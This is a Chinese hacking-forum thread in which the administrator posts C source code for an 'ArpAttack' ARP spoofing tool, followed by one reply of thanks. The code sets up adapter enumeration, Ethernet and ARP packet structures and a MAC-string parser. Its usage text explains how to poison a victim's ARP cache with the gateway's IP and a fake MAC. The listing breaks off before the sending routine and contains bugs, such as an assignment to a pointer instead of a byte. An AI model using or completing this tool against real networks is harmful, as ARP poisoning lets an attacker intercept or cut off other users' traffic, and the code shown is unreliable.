小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

安全验证
请完成以下验证码
搜索
安全验证
请完成以下验证码
查看: 202|回复: 1

ARP欺骗程序源代码

[复制链接]
  • TA的每日心情
    慵懒
    22 小时前
  • 签到天数: 1262 天

    连续签到: 43 天

    [LV.10]以坛为家III

    管理员

    Rank: 9Rank: 9Rank: 9

    UID
    21141
    小七币
    7061
    贡献
    1070
    在线时间
    4266 小时
    注册时间
    2013-5-11

    新人进步真我风采活跃会员特殊贡献版主原创先锋优秀会员论坛总监宣传大使寂寞的管理员终身成就最佳版主常住居民幽默大师金点子

    无痕 发表于 2015-10-22 11:21:50 | 显示全部楼层 |阅读模式
    生活圈制作
    #include <winsock2.h>
    #include <stdio.h>
    #include <Iphlpapi.h>
    #include "packet32.h"

    #pragma comment(lib, "packet.lib")
    #pragma comment(lib, "WS2_32.lib")
    #pragma comment(lib, "Iphlpapi.lib")

    typedef struct tagAdapterInfo
    {
             char szDeviceName[128];               // 名字
             char szIPAddrStr[16];                   // IP
             char szHWAddrStr[18];                 // MAC
             DWORD dwIndex;                     // 编号         
             bool filled;//是否取得了网卡信息
    }INFO_ADAPTER, *PINFO_ADAPTER;

    INFO_ADAPTER infoAdapterList[10];

    typedef struct _et_header     //以太网头部
    {
         unsigned char   eh_dst[6];   //接收方的MAC
         unsigned char   eh_src[6];   //发送方的MAC
         unsigned short   eh_type;     //arp报文类型 0x0806
    }ET_HEADER;

    #pragma pack(1)
    typedef struct _arp_header   //ARP头部
    {
         unsigned short   arp_hdr; //硬件地址类型   以太网 0x0001
         unsigned short   arp_pro; //上层协议地址类型   IP协议 0x0800
         unsigned char   arp_hln; //MAC地址长度 0x06
         unsigned char   arp_pln;   //IP地质长度 0x04
         unsigned short   arp_opt;   //操作码   0x0001 请求 0x0002 应答
         unsigned char   arp_sha[6]; //发送方 MAC
         unsigned long   arp_spa;     //发送方   IP
         unsigned char   arp_tha[6]; //接收方 MAC
         unsigned long   arp_tpa;     //接收方 IP
    }ARP_HEADER;
    #pragma pack()


    int GetLocalAdapterList()
    {
             char                                 tempChar;
             ULONG                                 uListSize=1;
             PIP_ADAPTER_INFO         pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
             int                                         nAdapterIndex = 0;
            
             //获得网卡列表信息串长度
             DWORD         dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
             printf("/r/nTry to get adapter list.../r/n");
             if (dwRet == ERROR_BUFFER_OVERFLOW)
             {
                     PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
                     dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
                     if (dwRet == ERROR_SUCCESS)
                     {
                             pAdapter = pAdapterListBuffer;
                             // 枚举网卡然后将相关条目添加到List中
                             while (pAdapter)      
                             {
                                     // 网卡名字
                                     char strTemp[128];
                                     lstrcpy(strTemp, "//Device//NPF_");                    
                                     lstrcat(strTemp,pAdapter->AdapterName);                         // 加上前缀              
                                     lstrcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
                                     // IP
                                     lstrcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String);
                                     // MAC
                                     sprintf(infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x",
                                             pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2],
                                             pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
                                     // 网卡编号
                                     infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;         
                                     pAdapter = pAdapter->Next;
                                     nAdapterIndex ++;
                             }
                             delete pAdapterListBuffer;
                     }
                   
                     return nAdapterIndex;
             }
             return 0;
    }




    void StrToMac(char *str,unsigned char *mac)
    {
             char *str1;
             int i;
             int low,high;
             char temp;
             for(i=0;i<6;i++)
             {
                     str1=str+1;
                     switch(*str)
                     {
                     case 'a' : high=10;break;
                     case 'b':   high=11;break;
                     case 'c':   high=12;break;
                     case 'd':   high=13;break;
                     case 'e':   high=14;break;
                     case 'f':   high=15;break;
                     default: temp=*str;
                             high=atoi(&temp);
                     }
                     switch(*str1)
                     {
                     case 'a' : low=10;break;
                     case 'b':   low=11;break;
                     case 'c':   low=12;break;
                     case 'd':   low=13;break;
                     case 'e':   low=14;break;
                     case 'f':   low=15;break;
                     default:temp=*str1;
                             low=atoi(&temp);
                     }
                     mac=high*16+low;
                     str+=2;
             }
    }

    int about()
    {
             printf("使用方法 : ArpAttack 被攻击方IP 发送方IP 假的MAC地址/r/n");
             printf("/n假设我想攻击192.168.0.2 那么先取得网关IP地址 :192.168.0.1");
             printf("/n然后再 arpattack 192.168.0.2 192.168.0.1 222222222222(虚假MAC地址)");
             printf("/n/n                                        小七免杀论坛/n ");

             return 1;
    }
    int GetRemoteMac(unsigned char*remoteMac,char *remoteIP)//获取某IP真实mac地址 并输出

  • TA的每日心情
    开心
    2016-7-21 15:17
  • 签到天数: 213 天

    连续签到: 1 天

    [LV.7]常住居民III

    论坛元老

    Rank: 6Rank: 6

    UID
    50182
    小七币
    316
    贡献
    0
    在线时间
    1806 小时
    注册时间
    2015-10-1
    xiaoqi007 发表于 2015-10-23 13:50:46 | 显示全部楼层
    好东西,前排支持,谢谢分享。
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    QQ|Archiver|手机版|小黑屋|小七技术论坛 ( 闽ICP备11025971号-4

    GMT+8, 2017-1-17 23:05 , Processed in 0.373118 second(s), 34 queries .

    Powered by Discuz! X3.2

    © 2001-2013 Comsenz Inc.

    快速回复 返回顶部 返回列表